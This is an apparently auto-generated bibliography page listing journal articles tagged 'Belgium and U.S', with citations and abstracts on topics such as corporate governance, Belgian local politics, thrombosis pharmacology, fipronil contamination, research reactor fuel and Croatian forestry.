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Journal articles on the topic 'Belgium and U.S'

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Author: Grafiati

Published: 11 March 2023

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1

Kenny, Patrick. "Corporate Governance in the U. S.: Post-Enron." German Law Journal 4, no. 1 (January 1, 2003): 53–59. http://dx.doi.org/10.1017/s2071832200015741.

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[Editors’ Comment: The following is the text of Mr. Kenny's remarks at the Second European Corporate Governance Conference, which was organized by the Vlerick Management Institute and the University of Gent, Belgium, and held at the Belgian National Bank, Brussels, 28 & 29 November 2002. The conference, which was convened by Professor Lutgart Van den Berghe of the University of Gent, was dedicated to the intensive debate over the marks and characteristics of “European Capitalism” in light of the international corporate governance debate, which has been affected by the recent earthquakes in the confidence of investors, shareholders and stakeholders precipitated by the corporate scandals of Enron, Worldcom, Global Crossing and others. The conference also took note of the impact of America's new Sarbanes-Oxley legislation, which seeks to respond to the wave of corporate scandals, on the international corporate governance debate.

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2

Heyerick, An, and Kristof Steyvers. "Fifty Shades of Rokkan? Reconceiving Local Party System Nationalisation in Belgium." Hrvatska i komparativna javna uprava 17, no. 4 (December 20, 2017): 509–38. http://dx.doi.org/10.31297/hkju.17.4.1.

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U radu se istražuje nacionalizacija lokalne politike u belgijskom kontekstu. Problematici se pristupa detaljnije od tradicionalne podjele stranaka na nacionalne i nenacionalne, te se izvode tri glavna zaključka. Prvo na temelju analize vertikalne autonomije stranaka možemo zaključiti da postoje četiri podtipa liste: državne, pseudodržavne, pseudolokalne i nezavisne lokalne liste. Podjela sudionika posljednjih dvaju krugova belgijskih lokalnih izbora na navedena četiri podtipa pokazuje da prevladavaju, što se belgijskih općina tiče, liste koje su makar neizravno povezane s državnom strankom (čak i kada nemaju državni predznak). Nadalje, ova se tipologija koristi kako bi se procijenila nacionalizacija lokacijski ograničenog skupa stranaka. Razvijeni su indeksi nacionalizacije lokalne politike koji pokazuju omjer između navedenih podtipova u izbornoj i u parlamentarnoj areni. Rezultati upućuju na to da je riječ o relativnoj, a ne o potpunoj nacionalizaciji lokalnog političkog sustava. Nacionalizacija je izraženija u slučaju lokalnih vijeća nego lokalnih izbora. Konačno, u radu se nastoji objasniti varijacija u nacionalizaciji lokalnog političkog sustava razmatranjem zajedničkog učinka varijabli lokacijski ograničene društvene morfologije i političke ekologije. Binarna logistička regresija pokazuje da je politička ekologija (češće) važnija od društvene morfologije (predvidljivija je u slučaju parlamentarnog indeksa nego u slučaju izbornoga). Javljaju se i drugi učinci. Morfološki faktori ne utječu znatno na vjerojatnost da će doći do nacionalizacije izbornoga lokalnog političkog sustava, no pojedini morfološki faktori ipak utječu na nacionalizaciju parlamentarnoga lokalnog političkog sustava. Nadalje, isti ekološki faktori utječu na nacionalizaciju kako izbornog tako i parlamentarnog lokalnog političkog sustava. Tu je izražena važnost dotadašnjeg razvojnog puta i prethodnih odabira (path dependance) koji utječu na nacionalizaciju lokalne politike. Ipak, varijacija u velikoj mjeri ostaje naobjašnjena, što je povezano s ograničenjima kvantitativnog pristupa usmjerenoga na učinak vanjskih utjecaja na nacionalizaciju lokalne politike. Kako bi se postiglo cjelovito razumijevanje, valja proučiti interakciju s unutarnjim stranačkim odlukama. Buduća se istraživanja također trebaju usmjeriti na komparativnu primjenu rezultata - u kojoj je mjeri i u kojim uvjetima moguća.

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Gaffney, Patrick J., and Tracey A. Edgell. "The International Standard for Plasminogen Activator Inhibitor-1 (PAI-1) Activity." Thrombosis and Haemostasis 76, no. 01 (1996): 080–83. http://dx.doi.org/10.1055/s-0038-1650526.

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SummarySince the finding that plasminogen activator inhibitor-1 (PAI-1) may influence the initiation and progression of acute myocardial infarction, the assay of PAI-1 in plasma using a variety of commercial kits has become commonplace. The need for a standard to define the activity of PAI-1 prompted an international collaborative study (ICS) to calibrate the functional potency of a lyophilised plasma PAI-1 preparation (92/654). Since PAI-1 inhibits the 2 major plasminogen activators, tissue-type plasminogen activator (t-PA) and urinary-type plasminogen activator (u-PA) in an equimolar manner it was important to establish the potency of the PAI-1 inhibitor in terms of both t-PA and u-PA neutralisation. While the ICS indicated a wide spread of data between the laboratories the mean value of 27.5 t-PA neutralisation units and 7.0 u-PA neutralisation units was confirmed by numerous assays at NIBSC using a tedious but technically reliable titration assay procedure. The plasma PAI-1 proposed standard (92/654) was stable at 20° C for 20 months.The Fibrinolysis Subcommittee of the Scientific and Standardization Committee (SSC) of the International Society on Thrombosis and Haemostasis (ISTH), (meeting in Leuven, Belgium in September 1994) has recommended that the plasma PAI-1 (92/654) should be accepted as the International Standard for PAI-1 and should define a unitage in terms of both t-PA and u-PA neutralisation. Subsequently the Expert Committee on Biological Standardization of the World Health Organization (ECBS-WHO) meeting in Geneva, Switzerland in October 1995 approved plasma PAI-1 (92/654) as the International Standard.

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4

Đokić, Maja, Marija Sedak, and Nina Bilandžić. "Insekticid fipronil u proizvodima od peradi u Europskoj uniji." Veterinarska stanica 51, no. 2 (March 27, 2020): 165–74. http://dx.doi.org/10.46419/vs.51.2.7.

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Fipronil je insekticid širokog spektra djelovanja koji se ubraja u skupinu fenilpirazola. Prvi je insekticid koji je djelovao ciljajući GABA (gama-aminomaslačnu kiselinu) receptor i imao povoljnu selektivnu toksičnost prema insektima, ali ne i sisavcima. U skladu s uredbom (EZ) br. 1107/2009. fipronil nije odobren u sredstvima za zaštitu bilja te je zabranjeno tretiranje životinja namijenjenih za prehranu ljudi u Europskoj uniji (EU). Najveća dopuštena količina (NDK) fipronila ustvrđena je prema Uredbi 396/2005. o maksimalnim razinama ostataka pesticida u i na hrani i hrani za životinje biljnog i životinjskog podrijetla te za jaja i meso peradi iznosi 0,005 mg/kg. Svjetska zdravstvena organizacija (WHO) klasificirala je fipronil kao umjereno opasan pesticid II klase. Konzumiranje malih količina fipronila izaziva mučninu, glavobolju, povraćanje, bol u želucu, slabost i vrtoglavicu. Nakon apsorpcije u ljudi distribuira se u tkiva i oslobađa aktivne metabolite koji se nakupljaju uglavnom u masnom tkivu. Eksperimenti na miševima pokazali su da produljena izloženost visokim dozama fipronila prouzroči rak štitnjače u mužjaka i ženki. Pojava fipronila u jajima u EU zabilježena je 2016. godine u Belgiji. Kao posljedica ustvrđene zlouporabe fipronila na farmama pilića, države članice EU i Europska komisija dogovorile su provedbu ad-hoc monitoringa na ostatke insekticida fipronila i drugih akaricida u jajima i mesu peradi. Europska agencija za sigurnost hrane (EFSA) objavila je izvješće o rezultatima monitoringa te su u ukupnoj količini od 5439 uzoraka jaja i mesa peradi u zemljama članicama EU i Islandu u 742 uzorka (13,6 %) ustvrđene količine veće od zakonski dopuštenih. Većina nesukladnih rezultata odnosila se na fipronil u uzorcima kokošjih jaja i masnog tkiva kokoši nesilica. U uzorcima iz Republike Hrvatske nisu ustvrđeni nesukladni rezultati. Uzorci koji su prekoračili zakonsko ograničenje bili su podrijetlom iz Nizozemske, Italije, Njemačke, Poljske, Mađarske, Francuske, Slovenije i Grčke. Članice EU su u kontroli proizvoda koji se upućuju na tržište EU nesukladne rezultate fipronila prijavljivale u razdoblju 2017.-2019. putem centralnog sustava brzog uzbunjivanja za hranu i hranu za životinje - RASFF. Ukupno je prijavljeno 128 različitih proizvoda s nesukladnim koncentracijama fipronila, a najviše se obavijesti odnosilo na jaja i proizvode od jaja. Pri tome je u okviru poduzetih mjera za čak 45 prijava provedeno povlačenje kontaminiranih jaja s tržišta, obavljeno je po 9 zapljena i 9 službenih pritvora. Na temelju ustvrđenih nesukladnih nalaza fipronila Europska komisija je prema Provedbenoj Uredbi Komisije (EU) 2019/533 uvrstila njegovu kontrolu u okviru koordiniranog višegodišnjeg programa kontrole EU za razdoblje 2020.-2022.

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van den Berghe, Sven, Ann Leenaers, Edgar Koonen, and Leo Sannen. "From High to Low Enriched Uranium Fuel in Research Reactors." Advances in Science and Technology 73 (October 2010): 78–90. http://dx.doi.org/10.4028/www.scientific.net/ast.73.78.

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Since the 1970's, global efforts have been going on to replace the high-enriched (>90% 235U), low-density UAlx research reactor fuel with high-density, low enriched (<20% 235U) replacements. This search is driven by the attempt to reduce the civil use of high-enriched material because of proliferation risks and terrorist threats. American initiatives, such as the Global Threat Reduction Initiative (GTRI) and the Reduced Enrichment for Research and Test Reactors (RERTR) program have triggered the development of reliable low-enriched fuel types for these reactors, which can replace the high enriched ones without loss of performance. Most success has presently been obtained with U3Si2 dispersion fuel, which is currently used in many research reactors in the world. However, efforts to search for a replacement with even higher density, which will also allow the conversion of some high flux research reactors that currently cannot change to U3Si2 (eg. BR2 in Belgium), have continued and are for the moment mainly directed towards the U(Mo) alloy fuel (7-10 w% Mo). This paper provides an overview of the past efforts and presents the current status of the U(Mo) development.

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Belančić, Andrej, Sanja Klobučar Majanović, Jelena Rapaić, Lara Čituljski, and Anita Karanfilovski. "Učinkovitost strukturirane edukacije osoba sa šećernom bolešću." Medicina Fluminensis 55, no. 3 (September 1, 2019): 260–73. http://dx.doi.org/10.21860/medflum2019_221603.

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Cilj: Procijeniti učinkovitost strukturirane edukacije za osobe sa šećernom bolešću po pitanju napretka u znanju i redukcije glikiranog hemoglobina HbA1c. Ispitanici i metode: Istraživanje je obuhvatilo ukupno 102 pacijenta (20 sa šećernom bolesti tipa 1 i 82 sa šećernom bolesti tipa 2), prosječne dobi 60 godina (20 – 80 godina), koji su u periodu od srpnja 2017. do siječnja 2018. bili upućeni u Dnevnu bolnicu za endokrinologiju, dijabetes i bolesti metabolizma Kliničkog bolničkog centra Rijeka s ciljem provođenja grupne strukturirane edukacije za osobe sa šećernom bolešću. Polaznici su zamoljeni da ispune upitnik prije početka edukacije te po njenu završetku. Upitnik se sastojao od 12 pitanja, od kojih je 11 bilo po principu točnog/netočnog odgovora, dok se posljednje pitanje iz upitnika odnosilo na pacijentovu samoprocjenu educiranosti o šećernoj bolesti (Tablica 1). Vrijednost glikiranog hemoglobina HbA1c mjerena je inicijalno te 3 mjeseca po provedenoj edukaciji. Za statističku obradu podataka korišteni su Microsoft Excel (Microsoft Office), MedCalc v12.1.3 (MedCalc Software bvba, Ostend, Belgium) i Statistica v13.3 (StatSoft Inc., Tulsa, Oklahoma, United States), a razina statističke značajnosti procijenjena je na P < 0,05. Rezultati: Po završenoj edukaciji značajno se povisio broj postignutih točnih odgovora (4,1 ± 2,3 vs 9,3 ± 1,6, P < 0,001), snizila se vrijednost glikiranog hemoglobina HbA1c (8,0 ± 1,8 % vs 7,1 ± 1,3 %, P < 0,001) te utrostručio broj polaznika koji su za sebe smatrali da su adekvatno educirani o šećernoj bolesti (28,4 % vs 84,3 %, P < 0,001). Zaključci: Po provedenoj edukaciji zabilježen je značajan napredak u znanju, popraćen redukcijom glikiranog hemoglobina HbA1c od 0,9 %, čime je dokazana učinkovitost strukturirane edukacije.

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Zec, Daniel. "Modernistička sastavnica u opusu Oscara Nemona i kontekst modernizma i avangardnih kretanja u Bruxellesu (1925. – 1936.)." Radovi Instituta za povijest umjetnosti, no. 44/1 (February 2021): 149–62. http://dx.doi.org/10.31664/ripu.2020.44/1.10.

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Rad iznosi na vidjelo umjetničku formaciju kipara Oscara Nemona u pravcu modernizma te njegovu participaciju u modernističkim kretanjima na likovnoj sceni u Belgiji tijekom djelovanja u Bruxellesu od 1925. do 1936. godine. Nemonova inspiracija konstruktivizmom, postkubizmom i geometrijskom stilizacijom interpretira se u kontekstu suvremenih pravaca, umjetničkih grupa i njihovih nositelja u Bruxellesu 20-ih i 30-ih godina 20. stoljeća. Analiziraju se veze Oscara Nemona s René Magritteom i nadrealizmom. Analiziraju se, stilski determiniraju i valoriziraju do sada neistraženi primjeri modernističke skulpture u Nemonovu briselskom opusu, pri čemu se razmatraju stilske odrednice: kubizam, konstruktivizam, art déco, ekspresionizam.

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Clerck, F. De, J. Beetens, A. Van de Water, E. Vercammen, and P. A. J. Janssen. "R 68 070: Thromboxane A2 Synthetase Inhibition and Thromboxane A2/Prostaglandin Endoperoxide Receptor Blockade Combined in One Molecule - II. Pharmacological Effects In Vivo and Ex Vivo." Thrombosis and Haemostasis 61, no. 01 (1989): 043–49. http://dx.doi.org/10.1055/s-0038-1646524.

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SummaryR 68 070 or (E)-5-[[[(3-pyridinyl)[3-(trifluoromethyl)phenyl]- methylen]amino]oxy] pentanoic acid (Janssen Research Foundation, Belgium), a newly developed compound, combining specific thromboxane A2 (TXA2) synthetase inhibition with TXA2/pros- taglandin endoperoxide receptor blockade in one molecule, is active in vivo in man and in experimental animals.In man (n = 5), a single oral 400-mg dose of R 68 070 produces deep and protracted inhibition of platelet TXA2 synthetase activity (≥90% for 48 h), increases serum levels of immuno- reactive 6-keto-PGF1α, reduces platelet aggregation in RR.R induced by U 46619, collagen (>70% for 8 h), arachidonic acid (>90% for 18 h) and prolongs template bleeding times significantly, without affecting plasma coagulation or fibrinolysis.In rats, R 68 070 (1.25 mg/kg orally, –2 h) singly prolongs tail bleeding times as much as a combination of TXA2 synthetase inhibition (dazoxiben 10 mg/kg) and TXA2/prostaglandin endoperoxide receptor blockade (BM 13177 40 mg/kg). In dogs, the compound reduces coronary thrombosis induced by electrical damage (1.25 mg/kg i. v.) and prevents the evolution of occlusion/ reperfusion-induced arrhythmias into ventricular fibrillation (2.5 mg/kg i.v.). R 68 070 thus may be an appropriate pharmacological tool to analyze the roles and interactions of agonistic (TXA2, prostaglandin endoperoxides) and antagonistic (PGD2, PGE2, PGI2) metabolites of arachidonic acid in experimental and human pathologies.

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Clerck, F. De, J. Beetens, D. de Chaffoy de Courcelles, E. Freyne, and P. A. J. Janssen. "R 68 070: Thromboxane A2 Synthetase Inhibition and Thromboxane A2/Prostaglandin Endoperoxide Receptor Blockade Combined in One Molecule - I. Biochemical Profile In Vitro." Thrombosis and Haemostasis 61, no. 01 (1989): 035–42. http://dx.doi.org/10.1055/s-0038-1646523.

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SummaryR 68 070 or (E)-5-[[[(3-pyridinyl)[3-(trifluoromethyl)phenyl]- methylen]amino]oxy] pentanoic acid (Janssen Research Foundation, Belgium) combines specific thromboxane A2 (TXA2) synthetase inhibition with TXA2/prostaglandin endoperoxide receptor blockade in one molecule.In vitro, the compound specifically inhibits the production of TXB2 from [14C] arachidonic acid by washed human platelets (IC50 = 8.2 × 10-9 M) and by platelet microsomes (IC50 = 3.6 × 10-9 M), of MDA (IC50 = 1.91 × 10-8 M) and of TXB2 (IC50 = 1.47 × 10-8 M) by thrombin-coagulated human platelet-rich plasma (P.R.P.) and whole blood respectively and increases the levels of PGD2, PGE2, PGF2α and 6-keto-PGF1α. The activity of cyclo-oxygenase-, prostacyclin synthetase-, 5-, 12- and 15-lipoxygenase-enzymes are not affected. Additionally, R 68 070 inhibits human platelet aggregation in P.R.P. induced by U 46619 3 × 10-7 M to 2 × 10-6 M (IC50 = 2.08 × 10-6 M to 2.66 × 10-5 M), collagen 0.5 to 2 μg/ml (IC50 = 2.85 × 10-6 M to 4.81 × 10-5 M), arachidonic acid 7.5 × 10-4 M to 2 × 10- M (IC50 = 2.1 × 10-8 M to 3.3 × 10-8 M) and the U 46619 (1 × 10-7 M)-induced accumulation of [32P] phosphatidic acid (IC50 = 5.24 × 10-7 M) in washed human platelets. Collagen (0.75 μg/ml)-induced ATP release (IC50 = 4.1 × 10-6 M), ADP (1 to 2.5 × 10-6 M)-induced second wave aggregation (IC50 = 3.19 × 10-6 M) in P.R.P. as well as the collagen (1 μg/ml)-induced adhesion/aggregation reaction in human whole blood (IC50 = 1.02 × 10-5 M) are reduced as well by the compoun.Primary platelet reactions induced by serotonin, ADP, PAF, or A 23187, platelet adenylate cyclase- and cAMP phosphodiesterase-activity, and platelet inhibitory activities of PGD2, PGI2, PGE2, PGE1 are not modified by R 68 070.This biochemical profile is compatible with a dual mechanism of action of R 68 070, namely TXA2 synthetase inhibition at low concentrations, plus additionally TXA2/prostaglandin endoperoxide receptor blockade at higher concentrations

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Dragičević Prtenjača, Marta, and Dijana Gracin. "Elektronički monitoring u suvremenom kaznenom pravu i Hrvatskoj - je li riječ o panaceji za prenapučenost zatvora?" Zbornik radova Pravnog fakulteta u Splitu 58, no. 3 (September 7, 2021): 743–62. http://dx.doi.org/10.31141/zrpfs.2021.58.141.743.

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Rad se bavi elektroničkim monitoringom i njegovom primjenom u suvremenom kaznenom pravu s posebnim osvrtom na njegovu moguću primjenu u hrvatskom kaznenom pravu de lege ferenda. Začetke ima u Sjedinjenjem Američkim Državama (dalje: SAD) gdje se pojavio kao jedna od alternativa kazni zatvora odnosno kao specijalna vrsta sankcije, te ujedno i kao jedno od mogućih rješenja za ekonomsko i populacijsko rasterećenje zatvorskog sustava. U zemljama europskog kontinentalnog kruga najčešće je jedan od načina provođenja alternativa kazni zatvora (uvjetne osude, rada za opće dobro i dr.), načina izdržavanja kazne zatvora (uvjetnog otpusta) ili drugih sankcija (sigurnosnih mjera) ili mjera tijekom kaznenog postupka (jamstva, istražnog zatvora i sl.). Ovim radom nastoji se ukazati na možebitne prednosti kao i na eventualne prigovore istaknute u vezi s njegovom primjenom, te prikazati mogućnosti njegove primjene u kaznenom pravu u američkim i europskim pravnim sustavima. U Hrvatskoj je bio primijenjen eksperimentalno u okviru pilot-projekta 2017. god. i pokazao je dobre rezultate. Sukladno tome, autorice predlažu njegovu širu primjenu i u hrvatskom kaznenom pravu i to kao jedan od načina nadzora tijekom kaznenog postupka ili tijekom izvršavanja sankcija i mjera, ili čak i umjesto kazne zatvora tijekom izdržavanja kazne zatvora u domu, kao što je to već učinjeno u brojnim državama u svijetu (SAD-u, Velikoj Britaniji, Belgiji i dr.), sve u cilju osuvremenjivanja i poboljšanja učinkovitosti postojećeg hrvatskog kaznenopravnog sustava.

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Jukić, Milo. "Dragutin Lerman u Hercegovini." Hercegovina. Serija 3: časopis za kulturno i povijesno nasljeđe, no. 8 (September 22, 2022): 309–42. http://dx.doi.org/10.47960/2712-1844.2022.8.309.

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Dragutin Lerman bio je istraživač afričkoga kontinenta u ekspediciji Henryja Mortona Stanleya, organiziranoj 1882. godine za račun belgijskoga kralja Leopolda II. Između 1882. i 1896. u Africi će, u četiri navrata, provesti oko 3000 dana. Po povratku postaje poduzetnik u rodnoj Požegi. Ispočetka bilježi uspjehe, ali potom doživljava potpuni krah u poslovnom i privatnom životu, zbog čega Požegu napušta osramoćen. Nakon nekoliko godina uzaludnih pokušaja da u zapadnoj Europi (Francuska, vjerojatno i Belgija te Austrija) ponovo "stane na noge", ne svraćajući se u povratku u Požegu, dolazi u Bosnu, u Kreševo. Tu, uz financijsku potporu nama nepoznate francuske banke, a kasnije i sarajevskih banaka, istražuje rudna ležišta (bakar, mangan, zlato, kositar, barit i dr.), nadajući se i vjerujući da će razmjerno skoro započeti s eksploatacijom, ostvariti brz profit i časno se vratiti u Požegu. Njegove planove znatno reducira izbijanje Velikoga rata, kada se, budući da je njihova država na strani suprotnoj Austro-Ugarskoj, kreditori iz Francuske povlače iz posla, a iz Bruxellesa mu, zbog istoga razloga, prestaje stizati formalno doživotna mirovina. Ratno stanje stvara mu i brojne druge poteškoće (mobilizacija vojno sposobnih i, s tim u svezi, nedostatak kvalificirane radne snage, česta nestašica eksploziva i drugih sredstava potrebnih za rad, kao i novca za financiranje radova, te, u neko vrijeme, osnovnih živežnih namirnica, zbog čega se u narodu javlja i glad). 310 Unatoč svemu, tijekom posljednje godine života Lerman intenzivira aktivnosti na otkrivanju rudnih ležišta na području Hercegovine, gdje od Rudarskoga satništva za Bosnu i Hercegovinu u Sarajevu pribavlja i brojne koncesije (zaštitna polja). Do eksploatacije ne će doći, jer rat i dalje traje, a Lerman uskoro i umire. Svrha ovoga rada jest, ponajprije zbog toga što se Lermanovo djelovanje na ovim prostorima u dosad objavljenim radovima gotovo bez izuzetka vezuje za Bosnu i Kreševo, skrenuti pozornost i na njegovu prisutnost i istraživanja na hercegovačkom području, poglavito što za vrijeme boravaka u Hercegovini u svojim dnevnicima bilježi ne samo brojne podatke vezane za poslove, nego i ponešto drugih zanimljivih detalja. Ključne riječi: Dragutin Lerman; Požega; belgijski kralj Leopold II.; Henry Morton Stanley; Afrika; Kreševo; Hercegovina; rude; Veliki rat.

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Polenakovic, Momir H. "Artificial Organs 2000 ESAO." PRILOZI 41, no. 3 (November 1, 2020): 77–90. http://dx.doi.org/10.2478/prilozi-2020-0049.

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AbstractArtificial Organs 2000 Satellite Symposium of European Society for Artificial Organs (ESAO) was organized by the Macedonian Society for Nephrology, Dialysis, Transplantation and Artificial Organs (MSNDTAO) and the Macedonian Academy of Sciences and Arts (MASA) on November 25-26, 2000 on the occasion of the 25th Anniversary of the Department of Nephrology of the Ss. Cyril and Methodius University, Skopje, R. Macedonia.The main topics of this symposium were: Blood-purification techniques, Artificial Kidney, Metabolic- and Cardiac-Assist Systems as well as Biomaterials to be used for Artificial Organs.H. Klinkmann (Glasgow, United Kingdom), D. Falkenhagen (Krems, Austria), U. Baurmeister (Wuppertal, Germany), V. Bonomini, S. Stefoni (Bologna, Italy), R. Vanholder (Ghent, Belgium), S. Stiller (Aachen, Germany), H. Mann, H. Melzer (Aachen, Germany), J. Pop-Jordanov, N. Pop-Jordanova (Skopje, R. Macedonia), B. Stegmayr (Umea, Sweden), M. Mydlik, K. Derzisova, O. Racz, A. Sipulova, J. Boldizsar, E. Lovasova, M. Hribikova (Kosice, Slovak Republic), A. Jörres (Berlin, Germany), M. Polenakovic (Skopje, R. Macedonia), J. Vienken (Bad Homburg, Germany), S. Bowry (Bad Homburg, Germany), E. Piskin (Ankara, Turkey), J. Klinkmann, W. Schimmelpfennig, H. Lantow, W. Rigger. (Teterow, Germany), A. Sikole (Skopje, R. Macedonia), A. Oncevski, P. Dejanov, V. Gerasimovska, M. Polenakovic (Skopje, R. Macedonia), J. Wojcicki (Warsaw, Poland), K. Affeld (Berlin, Germany), G. Rakhorst et al. (Groningen, The Netherlands), Z. Mitrev (Skopje, R. Macedonia), S. Kedev, G. Guagliumi, O. Valsecchi, M. Tespili (Skopje, R. Macedonia, Bergamo, Italy) have presented their papers at the Symposium. The presentations provoked a fruitful discussion and it was concluded that they should be published.The papers were published in the International Journal of Artificial Organs of the European Society for Artificial Organs (ESAO) as a special issue on “Artificial Organs 2000 ESAO Satellite Symposium -Skopje, R. Macedonia”, Guest Editors: M. H. Polenakovic, Skopje and J. Vienken, Bad Homburg; Vol. 25, No. 5, 2002.

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Lefebvre, Sophie, Lutgarde De Paepe, Roger Abs, Jacques Rahier, Philippe Selvais, and Dominique Maiter. "Subcutaneous octreotide treatment of a growth hormone-releasing hormone-secreting bronchial carcinoid: superiority of continuous versus intermittent administration to control hormonal secretion." European Journal of Endocrinology 133, no. 3 (September 1995): 320–24. http://dx.doi.org/10.1530/eje.0.1330320.

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Lefebvre S, De Paepe L, Abs R, Rahier J, Selvais P, Maiter D. Subcutaneous octreotide treatment of a growth hormone-releasing hormone-secreting bronchial carcinoid: superiority of continuous versus intermittent administration to control hormonal secretion. Eur J Endocrinol 1995;133:320–4. ISSN 0804–4643 Diagnosis of ectopic acromegaly was made in a 21-year-old female patient who 3 years before had undergone a right pneumectomy for a disseminated bronchial carcinoid. Plasma growth hormonereleasing hormone (GHRH) concentrations were markedly elevated (6440 ng/l; normal value <100 ng/l), as were serum GH (187 μg/l; normal <5 μg/l) and plasma insulin-like growth factor I (IGF-I) levels (6.7 U/ml; normal <2 U/ml). Retrospective immunohistochemical examination of the carcinoid tumor was positive for GHRH and the tumoral content of GHRH was 2130 ng/g wet weight. Subcutaneous treatment with octreotide was begun and first resulted in a profound inhibition of GH hypersecretion, normalization of plasma IGF-I and only partial reduction of GHRH concentrations. However, the initial dose of 3 × 100 μg had to be increased gradually to 4 × 750 μg because of a progressive deterioration of the hormonal control. After 15 months of intermittent therapy, octreotide was administered by continuous sc infusion. This treatment improved compliance, allowed the daily dose of octreotide to be reduced to 1500 μg and normalized serum GH levels. A near-normalization of the plasma IGF-I concentrations was also obtained, whereas the suppression of plasma GHRH concentrations remained incomplete. Despite favorable evolution of the endocrine parameters, intramedullar metastases were diagnosed and required radiation therapy. This observation emphasizes the superiority of continuous over intermittent administration of octreotide in the treatment of ectopic acromegaly. It also shows that the somatostatin analog acts more at the pituitary level to inhibit GH secretion than at the site of the neuroendocrine tumor. S Lefebvre, Division of Rheumatology, Clinique du Refuge, Rue du Couvent 39, B-7700 Mouscron, Belgium

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Park, Jae Won, Ji Woon Yea, Jaehyeon Park, and Se An Oh. "Setup uncertainties and appropriate setup margins in the head-tilted supine position of whole-brain radiotherapy (WBRT)." PLOS ONE 17, no. 8 (August 4, 2022): e0271077. http://dx.doi.org/10.1371/journal.pone.0271077.

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Various applications of head-tilting techniques in whole-brain radiotherapy (WBRT) have been introduced. However, a study on the setup uncertainties and margins in head-tilting techniques has not been reported. This study evaluated the setup uncertainties and determined the appropriate planning target volume (PTV) margins for patients treated in the head-tilted supine (ht-SP) and conventional supine position (c-SP) in WBRT. Thirty patients who received WBRT at our institution between October 2020 and May 2021 in the c-SP and ht-SP were investigated. The DUON head mask (60124, Orfit Industries, Wijnegem, Belgium) was used in the c-SP, and a thermoplastic U-Frame Mask (R420U, Klarity Medical & Equipment Co. Ltd., Lan Yu, China) was used in the ht-SP. Daily setup verification using planning computed tomography (CT) and cone-beam CT was corrected for translational (lateral, longitudinal, and vertical) and rotational (yaw) errors. In the c-SP, the means of systematic errors were -0.80, 0.79, and 0.37 mm and random errors were 0.27, 0.54, and 0.39 mm in the lateral, longitudinal, and vertical translational dimensions, respectively. Whereas, for the ht-SP, the means of systematic errors were -0.07, 0.73, and -0.63 mm, and random errors were 0.75, 1.39, 1.02 mm in the lateral, longitudinal, and vertical translational dimensions, respectively. The PTV margins were calculated using Stroom et al.’s [2Σ+0.7σ] and van Herk et al.’s recipe [2.5Σ+0.7σ]. Appropriate PTV margins with van Herk et al.’s recipe in WBRT were <2 mm and 1.5° in the c-SP and <3 mm and 2° in the ht-SP in the translational and rotational directions, respectively. Although the head tilt in the supine position requires more margin, it can be applied as a sufficiently stable and effective position in radiotherapy.

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Franjević, Milivoj, Zoran Šikić, and Boris Hrašovec. "First occurrence of Xylosandrus germanus (Blandford, 1894) – black steam borer in pheromone baited panel traps and population build up in Croatian oak stands." Šumarski list 143, no. 5-6 (June 18, 2019): 219. http://dx.doi.org/10.31298/sl.143.5-6.2.

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U prvom desetljeću 21. stoljeća u hrvatskim nizinskim hrastovim sastojinama proveden je niz istraživanja vezanih uz integriranu zaštitu hrastove oblovine. U središtu ovih istraživanja bila je olfaktorna manipulacija domaćim vrstama iz rodova Trypodendron i Xyleborus uz uporabu naletno-barijernih klopki kompletiranih s atraktantima (lineatin, ETOH, GLV, Domowit-Trypowit D<sup>®</sup>). Tijekom ovih eksperimenata u ulovima naletno-barijernih klopi, pojavila se nova vrsta za hrastove nizinske sastojine u Hrvatskoj Xylosandrus germanus. Pojava vrste Xylosandrus germanus u ulovima naletno barijernih klopki prvi puta je zabilježena u dijelu terenskih eksperimenta (2009. godine), a ulovi u naletno-barijernim klopkamasu bili su u porastu ostatak perioda provedenih istraživanja. Tijekom 2011. godine fenologija potkornjaka drvaša nizinskih hrastovih sastojina provedena je od siječnja do početka lipnja. U ovom periodu zabilježena je i praćena fenologija šest vrsta potkornjaka drvaša, od kojih je T. signatum bio najbrojniji, a invazivna strana vrsta X. germanus je bio drugi po brojnosti tijekom ovog opažanja, iako prisutan u ulovima naletno barijernih klopki 2011 godine. Iako je ekonomski značaj X. germanus malen, ovo je vrsta koja je prisutna u Europi 65 godina. Postoje zabilježeni slučajevi iz Švicarske 1995. g. kada je X. germanus napao 20 000 m<sup>3</sup> smreke i jele u regiji Jura. S ekološkog gledišta, glavna zabrinutost je da X. germanus postaje jedan od najbrojnijih potkornjaka na područjima u kojima se etablirao, ali bez dokaza o negativnom utjecaju na autohtone vrste. Iako se smatra da X. germanus ima potencijal negativno utjecati na lokalno nestajanje autohtonih vrsta i biološku raznolikost (Henin and Versteirt 2004; Bouget and Noblecourt 2005). Istraživanja u Belgiji pokazuju da postoji preklapanje ekoloških niša X. germanus sa nekoliko autohtonih vrsta (Henin and Versteirt 2004). U Sjevernoj Americi , X. germanus je jedan od ekonomski najvažnijih negativnih čimbenika u rasadnicima. Neki autori navode da postoji izvjesna razina fiziološkog stresa koja nije uočljiva, ali stabla ipak emitiraju stresom generirane atraktivne tvari koje privlače potkornjake tijekom rojenja. X. germanus se smatra štetnikom koji napada fiziološki oslabljena stabla pod stresom, ali neka istraživanja pokazuju da napada i naizgled zdrava stabla. Prisutnost i brojnost X. germanus u Hrvatskoj još treba biti dodatno istražena, jer se ovaj polifagni štetnik uspješno razvija na velikom broju vrsta listača i četinjača. X. germanus isto može biti i vektor za određene uzročnike bolesti i najčešće se povezuje sa gljivama iz roda Fusarium, koje mogu uzrokovati odumiranje stabala, venuće i rak na napadnutim stablima. Ovakav vektorski odnos dokazan je na vrstama iz roda Juglans. X. germanus može prenositi i holandsku bolest brijesta. Zbog navedenog potrebno je daljnje praćenje i istraživanje utjecaja izrazito polifagne invazivne vrste potkornjak drvaša X. germanus na ekosustave nizinskih hrastovih sastojina.

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Van Den Auweele, Dirk. "Rechtshistorisch Onderzoek in België: 75 Jaar Canonistiek." Tijdschrift voor Rechtsgeschiedenis / Revue d'Histoire du Droit / The Legal History Review 61, no. 3 (1993): 349–65. http://dx.doi.org/10.1163/157181993x00204.

